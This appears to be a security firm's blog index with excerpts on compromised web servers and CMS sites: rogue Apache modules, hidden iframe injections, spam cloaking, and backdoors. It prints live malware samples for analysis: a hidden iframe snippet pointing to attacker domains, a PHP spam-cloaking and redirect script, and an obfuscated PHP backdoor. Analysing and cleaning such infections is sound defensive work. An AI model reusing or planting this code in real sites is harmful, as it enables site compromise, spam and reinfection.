Web Server Attacks – Apache Modules, Log Management and RELM

New year, same tricks, mostly because they work. That’s how we’re kicking off the new year folks.

In September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the rave. It seems every week we’re handling more and more cases, from private servers to large enterprises, being impacted by the same issue. As for the vector, in a good number of instances it comes down to access and in others vulnerabilities in software, software like PLESK.

What we have started to see is an evolution in these attacks. In one such case we saw two modules injected into the server. One was legitimate and was referencing another illegitimate module. Normal tactics failed to disclose it’s location. Monitoring the traffic of the server using tools like TCPDUMP did in fact show the infection was still present. We briefly wrote about some of these evolutions in a recent post, in which we articulate some of the things we are seeing. Fortunately, a lot of this comes down to the basics of knowing what your servers are running and what they are designed to do.

It’s for this reason that we’re pleading with organizations to apply better practice when managing their web servers. These servers are sitting between you, your environment, and your followers. They are prime targets and less and less focus is being placed on them.

Things you need to be doing:

  • Monitor your httpd.conf file (e.g., /etc/httpd/conf/httpd.conf)
  • Check the modules being loaded in your modules directory
  • Become vigilant with your logs
  • Practice the art of isolation


Read More

Server Compromises – Understanding Apache Module iFrame Injections and Secure Shell Backdoor

There are many ways to inject a malicious payload onto a website. The attacker can modify any of the web files (index.php for example), the .htaccess file or php.ini (if the site is using PHP). There are other ways, but those are the most common methods, specially on shared hosts.

However, for the last year, we started to see a new way to inject malware on compromised servers via a malicious Apache module. We posted about it before and it has been covered on many other mediums. After a few months of tracking them, and working on multiple servers that had this issue, we want to share a bit of what we have learned.

Identifying the injection

First, a good way to identify if an infection is coming via the Apache module compromise is by looking at how the iframe is being inserted. They seem to always follow this pattern:

<style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style> <div class=”t1nhuhjv”><iframe
src="httx://qotive. changeip.name/random/" width=”534″ height=”556″> </iframe></div>

or

<style>.q6umct6stl { position:absolute; left:-1284px; top:-1774px} </style> <div class="q6umct6stl”><iframe
src="httx://nujifa. longmusic.com/kdqjagzxwbakl/cdce48ffcf125f41206a9ed88675b56b/" width="367" height="411"></iframe></div>

The domain name changes very often (IP is often 62.75.235.48), as does the div class name and the iframe sizes. These are some of the domains we have tracked:

Read More

WordPress SPAM Causing Headaches

It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?

In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:

Sucuri Spam Detection

Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:


&#64require_once(ABSPATH . '/wp-includes/Text/cache.php');

You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:


<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}

?>

If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:

Sucuri SPAM Payload

What can I say, sometimes it’s all about following the cookie trail.

When removing be sure to remove the &#64require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.


Any questions let us know.

Website Malware – Drupal Injections Targeting Cookies

Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.

They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.

The Payload

Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.

Read More

Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla

This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:

Sucuri - ViewState Infection

You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.

Read More

Website Malware – Reality of Cross-Site Contaminations

Sometimes you can’t help but put yourself in the shoes of your clients and skeptics and wonder how many times they roll their eyes at the things you says. Cross-site contamination is one of those things.

We first start writing about it in March of 2013 in a little post that got a lot of attention, “A Little Tale About Website Cross Contamination”. In that case we talked to how the attack vector was coming from a neighboring site that had since been neglected, in turn it was now housing the generating payload that was affecting the live sites. All in all, it was a sad and depressing story.

In this case, it’s unique in that it’d fall into what we would categorize a targeted attack. That’s right, the complete opposite of what we often tell most readers they fall into, opportunistic attacks. I will caveat that it’s not known for sure, but after reading this we’ll let you be the judge.

/* It’s nothing personal, it’s just business */


Read More

Web Malware – Working with Evil Backdoors – Part III

The most complicated part of our job, when cleaning compromised web sites, is ensuring we find all backdoors. If we miss one, the site can be reinfected. We have done a few posts about backdoors already, explaining how they work and in them provide example of what they are and look like:

However, despite being a very complicated task, most people still think that removing backdoors consist of searching for eval’s, base64_decode and similar keywords. While that will find some, it’s not highly effective.

Ugly Backdoor

Today, we will present you the BACKDOOR:UGLY:13 (yes, that’s how we name it). It is a code we are finding on WordPress/Joomla sites compromised with SEO Spam to allow the attackers to reinfect and reinject spam code:

<?php
$P81J5DkwYm=’CQWnk4mSgxD’^apC4zA_i;$Oq9E1Iip7=ouw&’o}=’;$qkit=’&=’.HZ^’IX=+=-’;'nyD’.
‘?’;$ywO_bGCvD=’H]’.pTZYkh.’<G}FC’&hTXXRlZLrO.’[{g';$eBwDr2V=#w50jH83IO7'.
' ,|:F-2>1u@:"'.qgQ1.'<*'^EMR.'"@'.tKU2.'$Ln&)(hkx';$Arb='>8a'^Mb9;'Tpr'.
'rH-AhDxq';$Wt0cI9t='(h9'|'}.}';$ON_=eftg.'/l'|F3FDez;$koJhZ='}'.v.#CF0'.
'.=8l`5'&'RVN]m.l}z^H>’;$QgYL=’ “.’.DAMT.’%#Q’|’ $+(<TH@T-#A’;$GDWkPb=’@*’.
‘%DxM”g#’.HCId.’@^’.ItSA^’xW^sN}@’.OR05.’|Jq./F8|’;$g1MRqXRy=$Oq9E1I&/*_Ikm’.
‘Uv*/$Wt0cI9t;$Db_3w=$ON_&$qkit;$_izus6=$koJhZ^$QgYL;$gMYmjr=(‘@)+G)F”N#2$t’.
‘$p4″W-,’|’0!&c`v!,0>4$OP0 f#p’)^$GDWkPbCn5;$DP7=(’5$ C1=”E+c.’.g27mr.#DfTy’.
‘%!’.r0x66.’<22@5x’|'!4(2rc>`3a?!73 ‘.cH9a.’$`<34(“y+P’)&(‘{jWR%O.%1m^R%-<B’.
‘f?W@[#q{];’.ZpqKKG^’J_!’.VG.’[U9%XZ@}'.YJf5.'&LDF$'.MaFIt.'<p');$niZllS=(#'.
'{/7p"'.fjlb.' =i,'^';os0}>?,Qd{(l')|$_bGCvD;if($g1MRqXRy($Db_3w(/*BZKHhHPA'.
'6X$eO*/$gMYmjrlJc))==$DP7)$_izus6(('=[M{]~o~m}’&'~_W9}>’.iyem),$Db_3w(/*y3′.
‘n*/$niZ),$eBwDr2V.$ArvQhb.(‘lv^9{p’^'”C<T6M’));#medAQT)W(Azd-,JG ?f.Er?2R’.
‘z-YAYBxK:@x#4St%.q+_H5^P(XB|+leP9f-{1f’;


Read More

Sucuri SiteCheck Malware Scanner Plugin for WordPress

If you’re a WordPress user, love our free SiteCheck scanner, or already use our free SiteCheck Malware Scanner Plugin for WordPress, we have an update for you.

Sucuri Security - SiteCheck Malware Scanner

Read More

Website Malware – Joomla SEP Attack – Pharma Injection

This was a fun, yet painful case. In the past we have written a few different posts targeting search engine poisoning attacks (SEP) that like to use Pharmaceutical keywords and their associated links to poison your search engine results.

Today we had an interesting scenario where Google had not yet blacklisted the client, but our free scanner, SiteCheck, was in fact picking up the injection. From what we could see it was being triggered by a referrer but it wasn’t the typical referrers you’d expect, it’s condition was if it came from itself.

If you’re wondering why that is, allow me to explain. That meant that the payload would not show up the first time you visit the page, only when you visit the same page and the referrer was set to itself. This actually a very good evasive technique, it would make detection that much harder by most conventional scanners. In short, if the user clicks on the paeg once, it wouldn’t appear. This makes it very hard to detect and replicate unless you start testing every option. In this case, it wasn’t until you clicked on the option two consecutive times that the injections would appear.

You could try any other variation and it’d never work, only if you clicked on it two consecutive times. How annoying is that !!! This probably explains why Google and many others never picked it up.

In either event, this was a Joomla site and so the question was, where the heck is this thing.

Read More

Joomla Pharma Hack – Web Malware Removal

In my last SEO poisoning post I wrote about some really nasty conditional malware. In this one, we’re going to revert our attention to the more common variation of the attack, and look at the Joomla CMS.

Joomla Pharma Hack

This variation will be the Pharma hack. As of late, it seems to be going on a rampage on a number of CMS applications and many of its characteristics are similar. The objective appears to be clear though, find its way into Google’s search engine result pages (SERP).

While we can only speculate, the idea is simple – The SERPs are a cached product and as long as they keep the injections benign of malware they increase their odds of bypassing detection until someone spots it and reports.

Read More